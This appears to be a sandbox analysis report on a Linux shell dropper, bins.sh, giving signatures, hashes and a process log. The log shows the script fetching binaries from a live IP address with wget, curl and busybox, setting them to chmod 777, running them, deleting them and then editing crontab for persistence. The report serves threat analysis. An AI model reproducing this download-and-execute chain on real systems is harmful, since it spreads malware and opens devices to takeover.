Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    178s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 14:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-rlpyjsspcx
  • SHA256 7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1976) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:679
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:683
        • /bin/chmod
          chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Executes dropped EXE
          PID:688
        • /bin/rm
          rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
            PID:691
          • /usr/bin/wget
            wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:692
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:704
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:719
          • /bin/chmod
            chmod 777 yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • File and Directory Permissions Modification
            PID:725
          • /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            ./yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Executes dropped EXE
            PID:726
          • /bin/rm
            rm yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
              PID:729
            • /usr/bin/wget
              wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:730
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:744
            • /bin/chmod
              chmod 777 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              ./518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Executes dropped EXE
              PID:750
            • /bin/rm
              rm 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:754
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:764
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:781
              • /bin/chmod
                chmod 777 vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • File and Directory Permissions Modification
                PID:782
              • /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                ./vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:783
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:785
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:786
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:787
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:788
                    • /bin/rm
                      rm vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                      2⤵
                        PID:790
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                        2⤵
                          PID:793

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
                            • Path /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
                            • Size 111KB
                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                            • Path /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                            • Path /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
                            • Path /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.1OzU79
                            • Path /var/spool/cron/crontabs/tmp.1OzU79
                            • Size 210B
                            • SHA256 42b6a3a96d98683924c7efe30921ad3b1b2354694f8bc18dea9bc4f0c0ad0e68
                            • MD5 SHA1 SHA512
                            Submit Download